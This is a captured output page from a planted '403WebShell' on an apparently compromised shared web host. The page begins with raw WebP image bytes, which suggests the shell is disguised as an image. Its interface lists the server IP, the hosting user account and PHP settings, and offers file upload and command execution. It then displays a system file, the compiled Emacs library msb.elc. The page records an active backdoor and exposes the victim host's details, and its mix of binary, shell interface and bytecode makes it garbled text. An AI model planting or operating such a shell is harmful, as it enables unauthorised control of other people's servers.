....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îŠ‡y’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒwŽ¼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9u鶳ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•â•ªVêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•î¦ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄÍ°L–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýc塶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ŠBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊƃZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 66.235.200.170  /  Your IP : 3.135.64.200
Web Server : Apache
System : Linux gator4410.hostgator.com 5.14.0-162.23.1.9991722448259.nf.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 31 18:11:45 UTC 2024 x86_64
User : bmgxafte ( 1214)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/emacs/27.2/lisp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /usr/share/emacs/27.2/lisp/msb.elc
;ELC
;;; Compiled
;;; in Emacs version 27.2
;;; with all optimizations.

;;; This file uses dynamic docstrings, first added in Emacs 19.29.

;;; This file does not contain utf-8 non-ASCII characters,
;;; and so can be loaded in Emacs versions earlier than 23.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


(defconst msb--few-menus '(((and (boundp 'server-buffer-clients) server-buffer-clients 'multi) 3030 "Clients (%d)") ((and msb-display-invisible-buffers-p (msb-invisible-buffer-p) 'multi) 3090 "Invisible buffers (%d)") ((eq major-mode 'dired-mode) 2010 "Dired (%d)" msb-dired-item-handler msb-sort-by-directory) ((eq major-mode 'Man-mode) 4090 "Manuals (%d)") ((eq major-mode 'w3-mode) 4020 "WWW (%d)") ((or (memq major-mode '(rmail-mode rmail-edit-mode vm-summary-mode vm-mode mail-mode)) (memq major-mode '(mh-letter-mode mh-show-mode mh-folder-mode)) (memq major-mode '(gnus-summary-mode message-mode gnus-group-mode gnus-article-mode score-mode gnus-browse-killed-mode))) 4010 "Mail (%d)") ((not buffer-file-name) 4099 "Buffers (%d)") ('no-multi 1099 "Files (%d)")))
(defconst msb--very-many-menus '(((and (boundp 'server-buffer-clients) server-buffer-clients 'multi) 1010 "Clients (%d)") ((and (boundp 'vc-mode) vc-mode 'multi) 1020 "Version Control (%d)") ((and buffer-file-name (buffer-modified-p) 'multi) 1030 "Changed files (%d)") ((and (get-buffer-process (current-buffer)) 'multi) 1040 "Processes (%d)") ((and msb-display-invisible-buffers-p (msb-invisible-buffer-p) 'multi) 1090 "Invisible buffers (%d)") ((eq major-mode 'dired-mode) 2010 "Dired (%d)" msb-dired-item-handler msb-sort-by-directory) ((eq major-mode 'Man-mode) 5030 "Manuals (%d)") ((eq major-mode 'w3-mode) 5020 "WWW (%d)") ((or (memq major-mode '(rmail-mode rmail-edit-mode vm-summary-mode vm-mode mail-mode)) (memq major-mode '(mh-letter-mode mh-show-mode mh-folder-mode)) (memq major-mode '(gnus-summary-mode message-mode gnus-group-mode gnus-article-mode score-mode gnus-browse-killed-mode))) 5010 "Mail (%d)") ((and (not buffer-file-name) 'no-multi) 5099 "Other non-file buffers (%d)") ((and (string-match "/\\.[^/]*$" buffer-file-name) 'multi) 3090 "Hidden Files (%d)") ((memq major-mode '(c-mode c++-mode)) 3010 "C/C++ Files (%d)") ((eq major-mode 'emacs-lisp-mode) 3020 "Elisp Files (%d)") ((eq major-mode 'latex-mode) 3030 "LaTeX Files (%d)") ('no-multi 3099 "Other files (%d)")))
(custom-declare-group 'msb nil "Customizable buffer-selection with multiple menus." :prefix "msb-" :group 'mouse)
#@44 Set the value of custom variables for msb.
(defalias 'msb-custom-set #[(symbol value) "	L\210\303\304!\205\n\205\305\306!\207" [symbol value msb-mode featurep msb msb-menu-bar-update-buffers t] 2 (#$ . 2588)])
(byte-code "\302\303\300\304\305\306\307\310\311\312\257\307\310\313\312	\257\314BBB\315\316\317\320&	\210\302\321\322\323\305\324\315\316\317\320\325\326&\210\302\327\330\331\305\332\315\316\317\320&	\207" [msb--very-many-menus msb--few-menus custom-declare-variable msb-menu-cond "List of criteria for splitting the mouse buffer menu.\nThe elements in the list should be of this type:\n (CONDITION MENU-SORT-KEY MENU-TITLE ITEM-HANDLING-FN ITEM-SORT-FN).\n\nWhen making the split, the buffers are tested one by one against the\nCONDITION, just like a Lisp cond: When hitting a true condition, the\nother criteria are *not* tested and the buffer name will appear in the\nmenu with the menu-title corresponding to the true condition.\n\nIf the condition returns the symbol `multi', then the buffer will be\nadded to this menu *and* tested for other menus too.  If it returns\n`no-multi', then the buffer will only be added if it hasn't been added\nto any other menu.\n\nDuring this test, the buffer in question is the current buffer, and\nthe test is surrounded by calls to `save-excursion' and\n`save-match-data'.\n\nThe categories are sorted by MENU-SORT-KEY.  Smaller keys are on top.\nA value of nil means don't display this menu.\n\nMENU-TITLE is really a format.  If you add %d in it, the %d is\nreplaced with the number of items in that menu.\n\nITEM-HANDLING-FN is optional.  If it is supplied and is a function,\nthen it is used for displaying the items in that particular buffer\nmenu, otherwise the function pointed out by\n`msb-item-handling-function' is used.\n\nITEM-SORT-FN is also optional.\nIf it is not supplied, the function pointed out by\n`msb-item-sort-function' is used.\nIf it is nil, then no sort takes place and the buffers are presented\nin least-recently-used order.\nIf it is t, then no sort takes place and the buffers are presented in\nmost-recently-used order.\nIf it is supplied and non-nil and not t than it is used for sorting\nthe items in that particular buffer menu.\n\nNote1: There should always be a `catch-all' as last element, in this\nlist.  That is an element like (t TITLE ITEM-HANDLING-FUNCTION).\nNote2: A buffer menu appears only if it has at least one buffer in it.\nNote3: If you have a CONDITION that can't be evaluated you will get an\nerror every time you do \\[msb]." :type choice const :tag "long" :value "short" ((sexp :tag "user")) :set msb-custom-set :group msb msb-modes-key 4000 "The sort key for files sorted by mode." integer :version "20.3" msb-separator-diff 100 "Non-nil means use separators.\nThe separators will appear between all menus that have a sorting key\nthat differs by this value or more." (choice integer (const nil))] 12)
#@45 The sort key for files sorted by directory.
(defvar msb-files-by-directory-sort-key 0 (#$ . 5513))
(byte-code "\300\301\302\303\304\305\306\307\310\311&	\210\300\312\313\314\304\315\306\307\310\311&	\210\300\316\317\320\304\315\306\307\310\311&	\210\300\321\302\322\304\315\306\307\310\311&	\210\300\323\324\325\304\326\306\307\310\311&	\207" [custom-declare-variable msb-max-menu-items 15 "The maximum number of items in a menu.\nIf this variable is set to 15 for instance, then the submenu will be\nsplit up in minor parts, 15 items each.  A value of nil means no limit." :type (choice integer (const nil)) :set msb-custom-set :group msb msb-max-file-menu-items 10 "The maximum number of items from different directories.\n\nWhen the menu is of type `file by directory', this is the maximum\nnumber of buffers that are clumped together from different\ndirectories.\n\nSet this to 1 if you want one menu per directory instead of clumping\nthem together.\n\nIf the value is not a number, then the value 10 is used." integer msb-most-recently-used-sort-key -1010 "Where should the menu with the most recently used buffers be placed?" msb-display-most-recently-used "How many buffers should be in the most-recently-used menu.\nNo buffers at all if less than 1 or nil (or any non-number)." msb-most-recently-used-title "Most recently used (%d)" "The title for the most-recently-used menu." string] 10)
#@74 Function that specifies how many pixels to shift the top menu leftwards.
(defvar msb-horizontal-shift-function #[nil "\300\207" [0] 1] (#$ . 6918))
#@142 Show invisible buffers or not.
Non-nil means that the buffer menu should include buffers that have
names that starts with a space character.
(custom-declare-variable 'msb-display-invisible-buffers-p nil '(#$ . 7073) :type 'boolean :set 'msb-custom-set :group 'msb)
#@500 The appearance of a buffer menu.

The default function to call for handling the appearance of a menu
item.  It should take two arguments, BUFFER and MAX-BUFFER-NAME-LENGTH,
where the latter is the max length of all buffer names.

The function should return the string to use in the menu.

When the function is called, BUFFER is the current buffer.  This
function is called for items in the variable `msb-menu-cond' that have
nil as ITEM-HANDLING-FUNCTION.  See `msb-menu-cond' for more
information.
(defvar msb-item-handling-function 'msb-item-handler (#$ . 7345))
(byte-code "\302\303\304\305\306\307\310\311\312\313&	\210\302\314\315\316\306\317\310\311\312\313&	\210\320\321\322\315#\210\323\315\211\203F	@\321N\203?\322N\204?\324\322\321N#\210	A\211\204(*\325\321\322\326#\210\302\322\315\327\306\330\310\311\312\313&	\207" [prop --dolist-tail-- custom-declare-variable msb-item-sort-function 'msb-sort-by-name "The order of items in a buffer menu.\n\nThe default function to call for handling the order of items in a menu\nitem.  This function is called like a sort function.  The items look\nlike (ITEM-NAME . BUFFER).\n\nITEM-NAME is the name of the item that will appear in the menu.\nBUFFER is the buffer, this is not necessarily the current buffer.\n\nSet this to nil or t if you don't want any sorting (faster)." :type (choice (const msb-sort-by-name) (const :tag "Newest first" t) (const :tag "Oldest first" nil)) :set msb-custom-set :group msb msb-files-by-directory nil "Non-nil means that files should be sorted by directory.\nThis is instead of the groups in `msb-menu-cond'." boolean defvaralias msb-after-load-hooks msb-after-load-hook (saved-value saved-variable-comment) put make-obsolete-variable "24.1" "Hook run after the msb package has been loaded." hook] 11)
(defvar msb--last-buffer-menu nil)
(defvar msb--error nil)
#@265 Create one string item, concerning BUFFER, for the buffer menu.
The item looks like:
*% <buffer-name>
The `*' appears only if the buffer is marked as modified.
The `%' appears only if the buffer is read-only.
Optional second argument MAXBUF is completely ignored.
(defalias 'msb-item-handler #[(_buffer &optional _maxbuf) "\304 \305 \203\306\202\f\307\203\310\202\307\311\312\n	$+\207" [buffer-read-only read-only modified name buffer-name buffer-modified-p "*" " " "%" format "%s%s %s"] 5 (#$ . 9208)])
(defalias 'msb--dired-directory #[nil ";\203\301\302!!\207:\203\301\302@!!\207\303\304\305 \"\207" [dired-directory abbreviate-file-name expand-file-name error "Unknown type of `dired-directory' in buffer %s" buffer-name] 3])
#@273 Create one string item, concerning a dired BUFFER, for the buffer menu.
The item looks like:
*% <buffer-name>
The `*' appears only if the buffer is marked as modified.
The `%' appears only if the buffer is read-only.
Optional second argument MAXBUF is completely ignored.
(defalias 'msb-dired-item-handler #[(_buffer &optional _maxbuf) "\304 \305 \203\306\202\f\307\203\310\202\307\311\312\n	$+\207" [buffer-read-only read-only modified name msb--dired-directory buffer-modified-p "*" " " "%" format "%s%s %s"] 5 (#$ . 9965)])
#@257 Create one string item for the buffer menu.
The item looks like:
<buffer-name> *%# <file-name>
The `*' appears only if the buffer is marked as modified.
The `%' appears only if the buffer is read-only.
The `#' appears only version control file (SCCS/RCS).
(defalias 'msb-alon-item-handler #[(buffer maxbuf) "\305\211\306\"\307	!\310 \203\311\202\312\n\203\313\202\312\314\303!\203)\203)\315\202*\312\f\206/\316&\207" [maxbuf buffer buffer-read-only vc-mode buffer-file-name format "%%%ds  %%s%%s%%s  %%s" buffer-name buffer-modified-p "*" " " "%" boundp "#" ""] 7 (#$ . 10511)])
#@92 Sort the items ITEM1 and ITEM2 by their `buffer-name'.
An item looks like (NAME . BUFFER).
(defalias 'msb-sort-by-name #[(item1 item2) "\302A!\302	A!\231\207" [item1 item2 buffer-name] 3 (#$ . 11111)])
#@103 Sort the items ITEM1 and ITEM2 by directory name.  Made for dired.
An item look like (NAME . BUFFER).
(defalias 'msb-sort-by-directory #[(item1 item2) "rAq\210\302 )r	Aq\210\302 )\231\207" [item1 item2 msb--dired-directory] 2 (#$ . 11321)])
#@278 Pop up several menus of buffers for selection with the mouse.
This command switches buffers in the window that you clicked on, and
selects that window.

See the function `mouse-select-buffer' and the variable
`msb-menu-cond' for more information about how the menus are split.
(defalias 'msb #[(event) "\306 \307!\211@\262\310\311\n!\204\312\n!\210\313\314\315\"?\316!\211\203,\317\f!\210\2020\312!\210)	\203@\320\321
!>\203@\322 \210+\310\207" [event early-release window old-window buffer last-input-event selected-window event-start nil framep select-window sit-for 0.1 t mouse-select-buffer switch-to-buffer down event-modifiers discard-input] 4 (#$ . 11570) "e"])
#@130 Return t if optional BUFFER is an "invisible" buffer.
If the argument is left out or nil, then the current buffer is considered.
(defalias 'msb-invisible-buffer-p #[(&optional buffer) "\301!G\302V\205\301!\302H\303=\207" [buffer buffer-name 0 32] 2 (#$ . 12261)])
#@48 Strip one hierarchy level from the end of DIR.
(defalias 'msb--strip-dir #[(dir) "\301\302!!\207" [dir file-name-directory directory-file-name] 3 (#$ . 12535)])
(defalias 'msb--init-file-alist #[(list) "\304\305\306\307\310\"\"\311\"\312\211\305\306\307\313	\"\"\nBC\244+\207" [list buffer-alist buffers dir sort apply nconc mapcar #[(buffer) "\302\303!!\211\205\304	!BC)\207" [buffer file-name expand-file-name buffer-file-name msb--strip-dir] 4] #[(item1 item2) "@	@\231\207" [item1 item2] 2] nil #[(item) "	@\232\203	A\nB\304\207\205\nB	@	AC\205#C)\207" [dir item buffers result nil] 2]] 6])
#@44 Format a suitable title for the menu item.
(defalias 'msb--format-title #[(top-found-p dir number-of-items) "\303\203	\304\202\n\305\306	!\n#\207" [top-found-p dir number-of-items format "%s... (%d)" "%s (%d)" abbreviate-file-name] 4 (#$ . 13162)])
#@70 Choose file-menu with respect to directory for every buffer in LIST.
(defalias 'msb--choose-file-menu #[(list) "\306!\307\n\247\203\n\202\310\307\211\211\211\211\211\211\211@A@A\311!\203Y\307\307@\203\223\fGX\203\223@G
GY\203\223\312
\313\307@\313
G&\314=\203\223\314\315\fA\"A\211@\202S\fGV\203\314@\316@AG#ABB\307@A@A\202U\203\335\314
\fB
\317
!A
\232\203\360
\203U
GGY\203\312\313\307
\313G&\314=\204,
GGW\203U\312
\313\307\313
G&\314=\203U\316@AG#ABB\307@A@A+\202?\203r\316@AG#ABB\307\237.\n\207" [list msb--choose-file-menu-arg-list msb-max-file-menu-items old-dir buffers dir msb--init-file-alist nil 10 copy-sequence compare-strings 0 t append msb--format-title msb--strip-dir rest first last-dir top-found-p max-clumped-together final-list buffer-alist msb--choose-file-menu-list item tmp-rest found-p completion-ignore-case] 11 (#$ . 13420)])
#@221 Create a vector from an element MENU-COND-ELT of `msb-menu-cond'.
This takes the form:
[BUFFER-LIST-VARIABLE CONDITION MENU-SORT-KEY MENU-TITLE ITEM-HANDLER SORTER]
See `msb-menu-cond' for a description of its elements.
(defalias 'msb--create-function-info #[(menu-cond-elt) "\306\307!	G\310V\205\310	8\211\203\311\n!\203\n\202	G\312V\203,\312	8\202-
\311!\204B\203B\313=\203G\202H
	G\310W\203U\314\315!\210	G\310V\203h\311\n!\204h\316\317\nC\"\210	G\312V\203\211\203\211\311!\204\211\313=\204\211\316\317C\"\210\320L\210\321	@	A@\322	8\f&-\207" [list-symbol menu-cond-elt tmp-ih msb-item-handling-function item-handler msb-item-sort-function make-symbol "-msb-buffer-list" 3 fboundp 4 t error "Wrong format of msb-menu-cond" signal invalid-function nil vector 2 tmp-s sorter] 8 (#$ . 14489)])
(defalias 'msb--collect #[(function-info-vector) "\306\211\211\307\306\211
T\211\fGW\203M\f
H\310\311H!\211\203C\n\312=\2034	\204C\n\313=\203<\314B\n\203\n\313=\204\237,\211\204^\n\204^\315\316!\210+\207" [function-info-list multi-flag result function-info-vector #1=#:--cl-vec-- #2=#:--cl-idx-- nil -1 eval 1 no-multi multi t error "No catch-all in msb-menu-cond!" fi #3=#:--cl-var--] 4])
(put 'msb--collect 'byte-optimizer 'byte-compile-inline-expand)
#@164 Add BUFFER to the menu depicted by FUNCTION-INFO.
All side-effects.  Adds an element of form (BUFFER-TITLE . BUFFER)
to the buffer-list variable in FUNCTION-INFO.
(defalias 'msb--add-to-menu #[(buffer function-info max-buffer-name-length) "\304H\211\305H\n\"\nB\306	!BL)\207" [function-info list-symbol buffer max-buffer-name-length 0 4 eval] 5 (#$ . 15832)])
